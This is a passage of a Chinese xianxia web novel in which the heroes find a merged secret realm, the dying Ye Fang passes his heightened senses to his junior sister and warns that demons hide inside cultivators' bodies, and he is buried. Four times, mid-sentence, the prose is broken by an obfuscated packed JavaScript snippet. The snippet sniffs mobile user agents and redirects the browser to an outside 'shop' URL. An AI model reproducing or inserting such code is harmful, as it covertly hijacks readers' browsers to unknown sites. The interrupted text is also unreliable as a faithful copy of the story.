葵花宫大公主没有修为,自也不该看见林中浓雾,其他人封闭视觉和嗅觉时,谢扶光便没有动作,还装出一副茫然神色。 朱颜故封住自己的嗅觉,在封闭视觉之前拉住她,刚要伸手,却被另一根修长手指截了胡。 崔惊厄温热指腹轻轻抵在谢扶光额心,一寸寸缓慢下移,他的目光也跟着指腹走,从眉骨一路游至她高耸鼻梁,瞥见殷红饱满的唇瓣,下意识动了下喉结。 随着他动作,谢扶光的视觉先消失,视野里一片漆黑。但她的神识还在,眼前越暗,她越能清晰感受出眼前的人。颀长精壮,散发着松木薄荷香的一团。 再往后嗅觉淡去,这熟悉香气也散了,崔惊厄融于寂静的树林和沉默的空气,与她拉开了距离。 有外物扰乱时,不如封住受影响的感官,以神识来探路。 封住她两识后,崔惊厄自知她有能力行动,放心地同轻尘在前开路。 只有朱颜故将她的大姐视作一个废物,一路牵着她走。 崔惊厄用神识找寻舆图上的那条大道,好一会儿都无果,那条路竟像真的消失了。 “师兄,你能找到那条路么?”崔惊厄问轻尘。 轻尘比他更疑惑:“我们正走的就是那一条,你没察觉么?” “我再仔细探一探……还真是,这阵子疏于修炼,刚刚又不细心,令师兄见笑了。”崔惊厄面上圆过去。 轻尘劝学了几句,他都没听进去,心下一直暗忖密林中的情况。 正想着,右掌掌心一痒,谢扶光的声音传入脑海:“从林外结界开始,我们与他们见到的东西就不同,这片密林很可能是两个空间的合并。” 经过大半日,通讯纹耗尽的灵力重新蓄满,谢扶光虽视觉被封,对着左手掌心默念崔惊厄姓名,依然与他达成了链接。 崔惊厄与她的想法不谋而合。 “他们所见是密林本体,而我们见到的,多半是……” “第三个秘境。”两人异心同声。 “小心!”正说着话,谢扶光脚下一绊,身子斜斜前倾,眼见就要摔倒,幸而朱颜故反应快,猛拉了她一把。 “忘了你看不见路,前面有个树桩,我该提醒你的。” 轻尘在前引路,一直领着他们走大道,沿途障碍很少。走得太安逸,谢扶光一路都在琢磨那第二重空间,忘了自己在现实的密林中是个真真切切的“盲人”。 回过味儿来,处境其实就有点危险了。 她神识中能见的是另一重空间的景象,身体却仍留在当前密林,一旦遇到阻碍,就会磕碰、摔绊,如真有妖魔潜藏其中,她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127607|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔惊厄仅能凭借耳力对敌和闪避,轻尘和朱颜故拖着他们两个累赘,四人战力削弱大半,他们未必打得过。 有了树桩的提醒,谢扶光还有必要搞清楚另一桩事。 她用神识左右探了探,寻到另一重空间地面上一根凸起的藤蔓,尝试踩在上面,脚下异物感相当明显,如此看来,两个空间的阻碍都会给他们带来不便。 幸好第二个空间的障碍对朱颜故和轻尘并无作用,朱颜故就在她旁边,谢扶光能清晰看见她的脚从藤蔓上落下去,如履平地。 “我们看不见真实密林中的情况,你小心些。”谢扶光传音给崔惊厄。 崔惊厄将耳识调用到极致,认真捕捉轻尘细微的脚步声,也细听风吹沙地的动静,根据风声判断有无障碍,每一步都慎之又慎,一路倒没有出错。 林子其实不大,又走了约莫一炷香时间,他们已深入林中腹地,仍未见周遭有什么动静。 “我怎么觉得不太对劲,”朱颜故提出疑点,“这里空设了这么厚的雾气做障眼法,如此大费周折,不该这么太平才对。” 崔惊厄和谢扶光看不见现实中状况,没有贸然出声,朱颜故说完,话就掉地上了。 少顷,还是轻尘应声:“确实不太合常理,但周遭并无明显的妖邪气息,我用罗盘看看,你先不要急。” 说着,他拿出指引妖魔气息的罗盘,但见罗盘中央红绿色灯交替闪烁,指针转动不休,却始终没有指明固定的方向。 “它为什么会这样?”朱颜故没见过这种罗盘,“红绿灯乱闪,是正常的么?” 轻尘薄唇抿成一条直线,轻轻摇头:“如有邪物,罗盘会亮红灯,指针指向也会相当明显,从最近处的邪物开始,除掉后再指示下一处;如无邪物,则亮绿灯,指针平行双目,保持静止。” 眼下这情况,真是无一处对劲。 “难道是罗盘坏了?”轻尘不由怀疑起祖师爷的宝贝。 “应该不是。”崔惊厄开口,有些话却不便多说,只称,“用了这么多年都没问题,我看八成还是这林子在作妖。” 其实他是觉得罗盘或许是在两重空间中来回切换,既然一会儿红一会儿绿,说明两个空间中的一个是有邪物的,至于那邪物在哪儿…… 轻尘适才没有说完,倘若指针转动不休,则只有一种情况——邪物到处都是,且近在咫尺。 而他和谢扶光的视野里,周遭一切也全无异状。 那么问题会出在哪儿呢? “轻尘,你有没有觉得雾气似乎变淡了?”朱颜故突然问。 雾气越稀薄,越方便日光透入,身为葵花妖,她对于日光相当敏感。 “确实有些,”轻尘说,“不知是不是我们在林中位置变化的缘故。” “不对。”这次出声的是谢扶光,然而只说这一句她便没了下文。 因为在这一瞬,第二重空间发生了翻天覆地的变化,与此同时空中浮现一行金字。 【恭喜灵鹤谷卢笑绒通关秘境“花辞树”。】 33.悲白发 密林中,轻尘和朱颜故没等到谢扶光的下文,却见林中雾障飞快散去。 察觉不对,几人解开封住的视觉,密林中路径不再错乱,脚下大道依然清晰,但许多没见过的花木拔地而起,顷刻已繁茂生长在这片密林,葱葱郁郁,枝叶间闪烁灵气。 “这都是从哪儿来的?”因本体也是植物,朱颜故一眼即看出这些花木不一般,它们有灵性,再由天地精华滋养些时日也有机会化成人形。 她本看着同为葵花的谢扶光说话,谢扶光却蓦地抽出被她牵了一路的手,向斜前方跑去。 一个绿色衣衫的姑娘凭空出现在那里,在她背上还有一个同样着墨绿衣衫的男子,那男人模样瞧着很年轻,抛开憔悴形容,甚至很英俊,只是须发尽白,整个人瘦的厉害,双目紧闭气息奄奄,不知是在昏睡还是已时日无多。 “卢笑绒?”谢扶光几步跨到姑娘面前。 “大小姐小心!”卢笑绒话音刚落,身后两只魔从虚空跨入,一对戟瞅准卢笑绒就劈,谢扶光惯用刀的右手霎时就动了动,那是遏制不下的战意。 右肩被人轻拍一下,缓和了这份急躁,但听一道令人牙酸的兵刃相击之响,崔惊厄和轻尘同时挥剑,阻住了那两只魔。下一秒崔惊厄左腕灵活一转,藏蛟已绞下那魔手中兵器,但听一声惨嚎,魔头胸膛已被藏蛟刺穿,顷刻间化黑烟散去。 轻尘那边动作也很迅速,解决掉另一只,后头很快又有另两只魔涌了过来。 崔惊厄还好,轻尘和朱颜故完全一头雾水,不知道这些魔从哪来,只凭本能迎上。 谢扶光不便出手,拉着卢笑绒远离战局。 “怎么回事?” 密林中隐形的空间确然是那第三个秘境,通关金字浮现的一瞬,整个秘境瞬间崩塌,就像上一场的器墓迷阵,不难想象秘境“花辞树”中定然也发生了一场恶斗。 也是秘境崩塌后,谢扶光才发现,原来其中也另设了障眼法,这障眼法的效力远超密林中的雾障,又因在另一重空间,连她和崔惊厄也未能及时发觉。 障眼法和秘境一同溃散,两重空间进而合并,秘境中所有活物也一并跟着涌了过来。有成片灵植、卢笑绒和她背上的虚弱男子,还有数十只浑身黑气的魔。 卢笑绒看起来很不好,虽没受伤,却似受了什么重大刺激,双目布满血丝,眼下乌青昭示她已许久没睡过。 听到谢扶光的问话,她脑子半晌没反应过来,鼻子倒是先本能地抽了抽,开口就是:“大小姐,你身上的气息有问题。” “我知道,我现在身处轮回境中,身份是只妖。”谢扶光长话短说,“这些事等安定下来我再仔细说给你听。” “空中分明出现了你的通关金字,为何你却没能出去,反而也到了这儿来?”她问。 “我师兄把‘花辞树’融进了你们的秘境,你们的秘境不通关,我就出不去。”卢笑绒依然怔怔的,眼睛缺少焦距,直直望着前方。 她说得很抽象,但谢扶光已有秘境融合的经验,半猜半凑还是听懂了。 不远处三人还在与魔缠斗,这些魔战力意外不低,几十只一齐涌上,甚是难缠,有一只钻了空子,举着一把钢叉直朝卢笑绒奔来。这些魔目标都很明确,一心只要置她于死地。 趁朱颜故没注意,谢扶光拔出乐命,狠狠剁入那魔的胸口,将它一刀穿胸,她已太久没练刀,手痒难耐,这一击带了十分劲力,创口切得相当规整。 “你都通关了,它们跟你过不去干什么?”谢扶光做贼似的,把刀重新收回储物袋。 “为了我的嗅觉。”说到这儿,卢笑绒终于回神,她抬起头,双眸晶亮,满含水润的泪光,“大小姐,你有没有办法……救救我师兄,救救他,我求您了。” 谢扶光这才看向她背后的男人,男人一袭墨绿锦袍,情况看起来很不好 ,额上虚汗密布,面色灰败,早已是出气多进气少。 这人便是卢笑绒扬言闯遍一千秘境也要寻到下落的师兄——叶放。 谢扶光从储物袋摸出一枚回春丹,给叶放服下:“再好的丹药也只能暂吊住他的命,具体情况如何,还要出去后看医者怎么说。” 卢笑绒不说话,只一下下重重点头,双手握拳捏得死紧,仿佛在攥着一丝微薄的希望。 “别白费力气了,叶放他活不成啦哈哈哈哈啊——” 一只魔的奸笑声陡然响起,话未说完已被崔惊厄劈成两半。 “叶放?”轻尘低喃出声,愕然回头,正见谢扶光拨开叶放额侧乱发,喂他服下回春丹。 仰头艰难吞咽时,他露出一张惨白的脸。 轻尘与叶放虽只有些泛泛之交,但同为君子,彼此间很是欣赏,这一眼,他身形不由一滞,手臂不妨被魔刺了一刀,伤口不深,可其中黑气翻涌,显见刀上沾着魔气。 轻尘自幼养于鹧鸪山明镜台,身上每一寸皮肉每一根经脉都深受灵气滋养,经魔气冲撞,一阵“滋滋”腐蚀声当即炸响,朱颜故循声回眸时,他手臂已被魔气蚀去大块皮肉,泛着黑气的血不住下滴,伤口隐隐见骨。 朱颜故心神大震,拨云子一左一右飞速掷出,将两只魔物击退到崔惊厄剑前。 轻尘骨头很硬,额际见汗面上仍不显痛色,朱颜故左手扶住他肩侧,右腕运气打入他小臂,灵力与妖力一并灌注其中,在他伤口处自行转换,暂且阻住黑气的侵蚀。 处理伤势时,她身后又涌来一只魔物,朱颜故看似整颗心扑在轻尘身上,却始终没有降低对身后的警惕,正待转身回击,轻尘没受伤的左手已半揽过她,在她身后刺了那魔物一剑,清冷的檀香气撞了朱颜故满面。 几人处理魔物费了些时间,好在除轻尘的手臂,再无别人受伤。 离开密林后,崔惊厄出面将林中情况报给明镜台的驿站,由其他人来处理后续,言辞间略去了叶放和卢笑绒的部分。 他们一行带着两妖和两个不明人士, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139789|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻尘和崔惊厄都没有立即回明镜台,就近找了家客栈住下。 客栈坐落于鹧鸪山脚下的城郭,附近多有修界人士往来,不乏会瞧些奇怪病症的大夫。 崔惊厄租下相邻的三间房,出门不多时就领了个老医师回来。 朱颜故一直围着轻尘忙前忙后,老医师来时,在朱公主的“魔法”护理下,轻尘手臂上的伤已基本恢复了正常颜色,仅剩的一点魔气服用丹药即可去除。 医师说得亏朱颜故反应快,处理及时,不然这伤非剜肉刮骨不能治。 给轻尘留下两颗净除魔气的丹药,他就去了隔壁给叶放看伤。 房间有两扇窗,一扇大开着,床在闭合的另一扇窗后。 叶放躺得很规矩,一只手轻搭在腹部,另一只由卢笑绒握着,他呼吸微弱,近乎看不出胸口的起伏,卢笑绒只坐了极窄的一个床边,双肩微佝,一副泄了力的模样,攥叶放手掌的五指却收得死紧。 被房门的“吱呀”声惊动,她身形微颤,转动脑袋的动作僵硬又缓慢。 老医师搭上叶放的脉搏,仅仅几息就收回手叹了口气,摇头连连:“这位仙君生机已耗尽,活不成了。” 宣判落下,卢笑绒身子又是一抖。 老医师瞧见,也有些不忍,但还是从医箱里摸出枚白色药丸:“说句不好听的,他这副模样与死人无异,老朽这儿有颗回光丹,能让他回归盛时状态半个时辰。丫头,生老病死人生之常,不如打起精神好好道个别吧。” 回光丹与谢扶光给叶放服下的回春丹不同,回春丹是危急关头寻不到大夫时的吊命丹药,通常用于人还能救的情况,而回光丹药效过后,人就是真的断气了。 卢笑绒抖着手接过,轻轻问叶放说:“师兄,要吃么?” 叶放的手指微动了动,意思很明确:总归都要死,回光返照半个时辰也好过苟延残喘半日。 卢笑绒闭了闭眼,把药给叶放喂下,等了一会儿,果见他面色以一种堪称诡异的速度红润了不少。 但他们都知道,这丝红意是耗尽他全部生机换来的。 “别丧着脸,”叶放有了气力,从榻上坐起,他面容相当平静,还有闲心玩笑,“这世上,每天哭丧的太多了,让我欢欢喜喜地走,岂不算人生逍遥事一桩?到了阴曹地府都能拿来吹的。” 卢笑绒闻言,鼻子狠抽了两下,就在谢扶光以为她要大哭不止时,她仰起脸,竟真冲着叶放展了个笑出来。 “崔道友、谢大小姐,”叶放尽礼数问候了他们,“感谢二位在上一秘境对我师妹的照顾。” 不待他们客套句没关系,叶放紧跟着又说:“可惜叶某不仅无以为报,还有另一桩事要麻烦二位。笑笑,你也听着。”说着,他转头看向依然僵硬笑着的傻师妹。 “诸位想必都听过八年前天涯何处的那场大火,”叶放说的很慢,字里行间的空隙被沉重回忆堆满,“那场火是魔尊螭寐命人放的,旨在除掉我。” 34.两唏嘘 叶放被螭寐针对的原因其实很简单,无非“匹夫无罪,怀璧其罪”。 但此前,这八个字落到他头上,叶放说什么都是不信的。 修真界人才济济,他自认无论修为还是天资,自己都算不得最出众,起码没到会被盯上的程度。 螭寐的针对很隐晦,他只是感到一股如影随形的被窥伺感,很淡,他甚至寻不到证据,自己都曾怀疑那股奇异感受是不是场错觉。 但以防万一,他还是假意叛出了灵鹤谷。当时想的是,若是他小题大做,就拍拍屁股腆着脸回来,总归自家师门的大门永远为他敞开。 而他这一走,就再没能回头。 那股被窥伺感日渐深重,为表明与师门割裂的决心,叶放建起了天涯何处,原以为他这般欺师灭祖之徒,不会有弟子追随,可后来真有了弟子,他也只能收下。叶放并不让弟子们在天涯何处久留,遣他们分散于各处做事,一年在门派中的日子寥寥。 事实证明,他不断架空关系网,直至仅剩自己一人,到底是有作用的。 毕竟天涯何处那场大火只“死”了一个叶放。 当年他在大火中侥幸逃脱,却受了不轻的伤,又被魔兵发现了踪迹,一路追到万里悲丘。 也正是在这儿,他才明白螭寐不放过自己的原因究竟是什么。 追来的魔兵远比他想象中要多得多,每只魔身上的魔息也远比正常情况下的要淡。 他叛出师门虽久遭各宗诟病,但魔族入侵乃关乎整个修界的大事,不可能所有宗门都因这点龃龉,不施以援手。 而事实上,各大宗门纹丝不动,就像不知道魔族的动静,无一人赶来。仿佛这场烧了三天三夜的大火就只是天干物燥,叶放的天涯何处格外倒霉。 直到在万里悲丘入口处与打头的几个魔兵打了照面,他才恍然。 修界没有感受到魔息,他们是真不知道大火背后,竟是如此大的阴谋。 魔兵们隐藏于修界弟子的人皮之下,竟可自由出入万里悲丘,未触及当年颜琅设下的阻碍妖魔进入的阵法。 叶放感到前所未有的不妙,他意识到自己被针对只是个再微末不过的开端,魔界很可能有扮作修界弟子混入各大门派的意图,而他的悲剧纯粹因为嗅觉太过灵敏,能分辨人皮之下是人是鬼而已。 “只可惜,产生这个猜测时,我已被困于万里悲丘,无法出去将此事通报修界了。” 叶放再强,对付魔兵们也是双拳难敌四手,数量上的绝对优势足以碾压天才的凛凛傲骨。 况且他不能硬拼不能死,整个修界就出了他一个五识如此优越之人。 若他死了,即便修界知道这一阴谋,也只会在内部互相怀疑,引起内乱,甚至让许多同室操戈的心思借危机过了明路,并不能顺利找出被占据躯壳的人。 没办法,他只能活着。 “各宗既还有闲情组织万里悲丘的试炼,想来这些年外界表面上看还很太平,”叶放说了太多话,被强行吊起的精力有些不济,吐字开始断续,“我知道我现在所说甚是荒诞,但还是请二位信我……” 他这话是对谢扶光和崔惊厄说的。卢笑绒一定会信他,从小到大,他这个傻师妹都是他说什么都信,被骗一百次也不长记性。 叶放又看了一眼卢笑绒,她依旧按照他的要求,唇角弯着,很认真地在做一个难看的微笑表情。被困万里悲丘的八年间,他其实一直期盼着死亡,真到这一天,却咀嚼出满腹苍凉。 “不,”心下正自懊悔不该死在师妹面前,却听谢扶光开了口,“您说的一点都不荒诞。” “上一个秘境的事,我不知卢笑绒同您提了多少,在那里我们遇到了许多器灵,它们主人们的魂魄被封于生死门,剩下躯壳就是被占了。” 当时她还不信,觉得妖魔混入修真界,必骗不过各宗大能,叶放的话算是又一重证实了。 “师兄,隔壁有动静。”卢笑绒兀地插进对话。 叶放朝隔壁的方向看了一眼,神色竟是茫然。 谢扶光敏锐捕捉到他的动作,眼皮不由一跳——叶放身体已至强弩之末,难道五识也跟着退化了? 很快叶放便给出了解释:“我已将五识传给了我师妹,现在她具备找出混在修界弟子中魔物的能力。但此事凶险,由她一人担起我实在不放心,无论于公还是于私,我都要求二位替我护她周全。” 叶放与轻尘算半个旧识,隔壁的动静应是轻尘要过来。 这里的轻尘和朱颜故不属于外面的世界,让二人发现他们外来者的身份,怕要影响轮回境中任务,最后几句,叶放交代得相对仓促,但末了还是朝谢扶光和崔惊厄拱手一揖。 “叶兄放心,我们本就是朋友,”谢扶光不擅长说这种话,崔惊厄代她说,“无论于公还是于私,我和大小姐都不会把她抛下。” 谢扶光跟着颔首。 “多谢二位,其余的事待我……以后,再由我师妹同你们说吧。”叶放止了话,正巧朱颜故已扶着轻尘走到了门口。 “我都说了,我伤的是手臂不是腿脚,你不必寸步不离扶着我。” “不行,是医师说我可靠,特地让我好好照顾你。” “你……” 进门时两人还小声拌着嘴,察觉叶放投去的视线,轻尘面上有点挂不住,不再与她争论,加快些步伐走过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161634|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“叶兄,你怎会如此……”按轮回境中时间节点,叶放这时还没有叛出灵鹤谷,依然是那个一扇一笛行八荒的如竹君子。 “遇上些麻烦,说来话长,就不说了。”叶放见轻尘,也是另一重唏嘘。 十年前轻尘在赦罪大典上疯魔,之后不知所踪。此事发生在天涯何处的大火之前,他是知晓的。 可惜此情此境,他什么都说不了,最终也不过是淡淡提醒了一句:“除去生死,世间没什么熬不过的磨难,你久居深山,没怎么历过世事,往后如有什么难处,切莫画地为牢,要看开些。” 彼时的轻尘如何懂他的意有所指,只当作临终前的叮嘱。 他虽未听见老医师的判决,但见叶放此刻苍白形容,还有什么不明白,他没有说话,只沉默着点点头,把话用心记下。 谢扶光看着他们,脑海中乱成一团,不知不觉就想到了那所谓天道提示。 “大小姐,可以问问你当初为什么选了这三个秘境么?”念头浮起的一瞬,崔惊厄正巧凑过来。 他与她挨得很近,声音因刻意压低的缘故,似有电流暗藏,温热吐息喷入耳洞,比他的声音通过通讯纹在脑海炸响时还要酥麻。 谢扶光还当又不慎泄了心声,下意识看了眼左手掌心,可那里空空荡荡,在密林偶遇卢笑绒之后,一片混乱中不知何时两人间链接就断掉了。 崔惊厄看她瞧掌心的动作,瞬间明白她也在想这一茬,他藏在朱颜故和轻尘身后,伸出食指悄然在她掌心勾了一勾,引诱她重新打开通讯,方便说话。 谢扶光没有理会,却也没躲他的手指,任由他不安分地挑弄。 她现在还不太控制得好心声,贸然打开通讯,怕会泄露她自己都不知真假的重生。 那根食指勾了半晌,见她没有动作,讪讪地摸上主人高挺的鼻梁。 谢扶光也终于能定下心,静静思考。 她看着眼前的轻尘和朱颜故,后知后觉回味出几分凄凉。 目前已通关的两个有标记的秘境: 一个器墓迷阵,器灵们画地为牢,守着主人身故之地,它们的主人们被剥夺躯壳,魂魄受困生死门; 另一个便是卢笑绒刚通关的花辞树,叶放一改逍遥仙君形貌,须发尽白,憔悴得让人几乎认不出,在万里悲丘那等荒芜之地困了八年,好不容易出来,生命又到了尾声。 而朱颜故和轻尘的轮回境同样被打上了白光标记,他们的命运又会如何? 她心里潮潮的,不知道算不算难过。 能体察她情绪似的,崔惊厄那根不听话的食指卷土重来。 这一次,很风骚地在她掌心里留下了一朵小花。 35.兄妹话 清风不识字,读不懂人的离愁别绪,依旧轻轻柔柔地刮。日光从密林的繁茂枝叶间筛下,午后静谧,很合适支一把躺椅,打个小盹。 一棵粗壮的槐树下,卢笑绒唇角的笑依然挂着,缄默地刨土,纤瘦剪影被哀伤晕染得浓稠。 崔惊厄的小花就是从这密林里顺的,而此刻,这里也成了叶放的埋骨地。 半个时辰说快其实很快,仿佛只转眼光景,榻上温热的人就冰冷了。 叶放的遗容被卢笑绒整理得很整齐,他眉目舒展,唇角勾起一个释然弧度,就像是真的登了极乐,抛开白发,依稀能看出昔年的潇洒旧影。 卢笑绒始终没有哭,如来时那样,一个人背着叶放来到密林,不让旁人插手丧事,轻尘要跟来都被她一口回绝,只准崔惊厄和谢扶光一路尾随。 “这些花木都是我师兄种的。”她花上大半日,很缓慢地把叶放葬好,靠着一棵大树坐下,五指抚摸着树干纹路轻轻开口。 她不许轻尘跟来,谢扶光知她定然有话要说,好不容易她愿意开口,谢扶光走上前很认真地听。 “当年魔兵们趁师兄受伤,用邪术把他困在了万里悲丘,他既没法与外界沟通,也出不去。”卢笑绒精神还有点恍惚,因此说得极慢,谢扶光表现出绝无仅有的耐心,听她一点点往外挤。 “他不想活,但他得把五识留下来,尤其是嗅觉。正巧他被困的地方有处秘境在上一场试炼中损毁,他便住了进去,成为那里新的主人。 你们看他头发是白的,其实都是种植这些灵植所致。他把五识一点点融进了每一朵花木中,原本是要将身后事托付给选中这一秘境的弟子,但不知是有人做了手脚,还是真那么倒霉,连续两届试炼,都没有人过来。 大小姐,说起这个,真是多亏你选了这三个连在一起的秘境。师兄受困于此,连带秘境原也是不能随意移动的,但轻尘道长和朱姑娘的轮回境发生融合,产生了很大的牵引力。他先是闻到我的气息,又借助这个力道,才把秘境一并挪了进来,将黎道友与我做了交换。” 谢扶光不敢冒领功劳,在心里暗暗把她的谢意转达给“天道”。 据卢笑绒所言,成片的灵植皆由叶放的修为供养,多年来他元气损耗过度,早已是勉力强撑。自知命数将至,他还想过趁这场试炼,将栽种的所有花朵枝叶抛出秘境,在整个万里悲丘下一场轰轰烈烈的花雨,碰碰看,有没有能接收其中五识的有缘人。 不是什么聪明的想法,风险也大,但当时那个情况下,他最多就做到这样了。 幸而事到临头绝处逢生,命运终究是把最合适的五识接收者卢笑绒带到了他面前。 卢笑绒用四天时间,不眠不休,将叶放逸散于花木间的五识吸纳殆尽,与自己本身的特质叠加,效果超乎想象地喜人:现在的她比之当年的叶放,论敏锐程度也只会过犹不及,再细微的妖魔气息也难逃过她的嗅觉。 叶放将五识悉数交付,心愿已了,秘境花辞树崩塌溃散,密林中另一重空间崩解,所有活物连同一直守着叶放的魔兵一并被带到朱颜故和轻尘的轮回境。 再往后的事,他们便都看到了。 “大小姐,”卢笑绒似有些累,声音既轻又低,砸出的分量却极重,“刚刚我又仔细分辨了一下,你身上除去妖族公主身份固有的妖气,还掺杂着一丝相当诡异的邪气,很淡,我能闻出它应当藏得极深,这气息非妖非魔,我也没法分辨具体是什么。” “这实在太诡异,我也不确定我有没有闻错,如碰到什么能人,最好还是瞧一瞧,别留下什么隐患。” 谢扶光闻言心下虽惊疑,想了想还是稳住了情绪。 卢笑绒既说她身上这缕气息非妖非魔,便不会有什么问题,须知妖魔以外的邪物就只有厉鬼,而厉鬼已有近百年不曾降世了。 所以她猜测,这气息既诡异至斯,或许是重生带来的异世气息。 她点头应下,又问:“我们一时半会儿大概还出不了秘境,你是跟我回葵花宫,还是跟他去明镜台?” 卢笑绒只摇头:“不必了,我回灵鹤谷。” 轮回境中每一位与境主人有过交集之人都会存在,叶放本体虽死了,轻尘认识的那个十几年前的叶放却还好好活着。 她说要回灵鹤谷,不仅仅是再贪几日与师兄的相处,另一方面,也是看着那个叶放别办出什么大事,传到轻尘和朱颜故耳朵里就解释不清了。 五人于深夜分开,各怀心事。 今日看似短短一天,却着实发生了太多事。 一回到葵花宫,谢扶光便打算寻个由头去见舒扬舟,正巧昨日遇见崔惊厄和黎暨的事还没来得及知会他,她若不说,她这消息闭塞的师兄还指不定哪辈子才知道。 未承想,舒扬舟竟先一步找上了她。 “过来看看,”谢扶光一露面,舒扬舟就提起一只魔兵领口,作见面礼给她丢了过来。 谢扶光:…… 旁观过卢笑绒和叶放的生离死别后,那柔软起来的心,它又双叒叕硬了。 “什么鬼东西?”她击球似的又把那魔兵踹回去。 魔兵一来一回惨嚎两声后,彻底晕过去了。 舒扬舟嫌弃地看了一眼,不再与她玩闹,说:“近些年葵花妖一族发展势头大好,遭了魔尊忌惮,今日竟派了这些恶心东西过来找晦气。” 谢扶光闻言脑中一个转念,忽然问:“师兄,你知不知道现实中葵花妖一族的结局是什么?” “妖魔界的事,我上哪儿知道?再说那么多的花花草草,我有几个脑子装得过来?” 说的也是。 “我就是在想,朱颜故的执念我们会不会搞错了,若是魔尊螭寐对葵花妖一族做了什么,她会想报仇也说不定。”谢扶光合理分析,“况且这些天我与朱颜故相处,觉得她虽喜欢轻尘,却怎么都不像会为情所困至此的人。” “就这?”舒扬舟轻蔑地踢了踢地上的魔兵,“这种小喽啰能干什么?若是连这些都搞不定,那他们王上是干什么吃的?再说她就算想报仇,也该死在与螭寐的决战中才对,死在轻尘剑下又如哪门子的愿?” 舒扬舟说得有道理,谢扶光无从反驳。 “不过多一条猜测,就多一个通关机会,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176228|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在葵花宫,会多留意螭寐那边的动静。”舒扬舟说完一句长长的人话,总觉得今日嘴欠指数尚未达标,很欠揍地狗尾续貂一句,“你就同你那牵了红线的小道君在外头鬼混吧,但切记,这儿一切都是假的,你玩玩没关系,但妄动真情就是在折磨自己。” 闻言,谢扶光的第一反应竟是有些心虚,她耳朵条件反射式过了下电,左手掌心跟着一颤,仿佛还残留着那朵小花的触感。 “看你这表情,”舒扬舟正看着她,神色不由微变,“不会真动了真情吧?” “谢扶光,以前我怎么没发现,你还是这么拎不清的人?” “我没有,”谢扶光把没用的念头挥去,说回还没告诉舒扬舟的正事,“我就是突然想起,有件事昨晚忘了告诉你。” 舒扬舟这几日做王上做的相当适应,习惯性扬着下巴说了句:“准奏。” 说完自己也愣了愣,与谢扶光相对缄默。 谢扶光看着他嘚嘚瑟瑟的模样,不由也给了他句忠告:“师兄,你也切记,这儿一切都是假的,你玩玩没关系,但出不了戏就是在抹黑自己……” “你这样,实在,太二了。” 舒扬舟轻啧一声,双肩一松,像卸下了架子:“放心,我分得清,管好你自己就行。” 直觉他那张臭嘴又要发功,谢扶光先下嘴为强:“我昨天看见崔惊厄和黎暨了。” 舒扬舟一怔,没反应过来,还饶有兴致感慨了两句:“朱颜故还认识他们?这时候他们大概还是小孩吧,有意思。” 他的反应其实很合常理,毕竟秘境融合太过匪夷,而按规则,若是朱颜故没见过的人,便不会存在于她的轮回境。 谢扶光只是微笑:“你猜?” 舒扬舟叹了口气,从果盘里给她揪了颗长相最歪瓜裂枣的樱桃,递到她面前假意兄友妹恭:“别拿乔了,说吧。” “这事说来复杂,简言之就是,”谢扶光接过那枚丑樱桃,反堵上他的嘴,“三个秘境合三为一,我们大家又聚到一起了,惊不惊喜?” 啪嗒一声,舒扬舟那颗樱桃愣是没叼住,滚落到地上。 谢扶光花了些时间,将秘境融合的来龙去脉,以及叶放与魔界占领修界弟子躯壳的事一一说给他听,唯独出于私心,剩下崔惊厄的明镜台三弟子身份没有提及。 刚开始舒扬舟还端着架子压抑惊讶,听到后来,面色直接一点点沉下来。 谢扶光说完,他还沉默了好一会儿,再开口时第一句就说:“这么大的事,不是我们能随便做主的,我们得赶快通关秘境,出去后第一时间联络师父,由他来定夺。” “不行!”谢扶光却立即否定了他的做法,她秀眉不耐地蹙起,这个表情一出,便昭示她体内那股燥意再度涌了上来,“如果,我是说如果,我父亲的壳子也被占了呢?” “怎么可能?”舒扬舟显然不信,“这世上有谁占得了师父的壳子?” “只有被卢笑绒验证过的人,才能完全排除嫌疑。”谢扶光因太过冷静,显得不近人情。 “那她也没验过我,你又为何会告诉我这些?”舒扬舟问。 36.旧伤疤 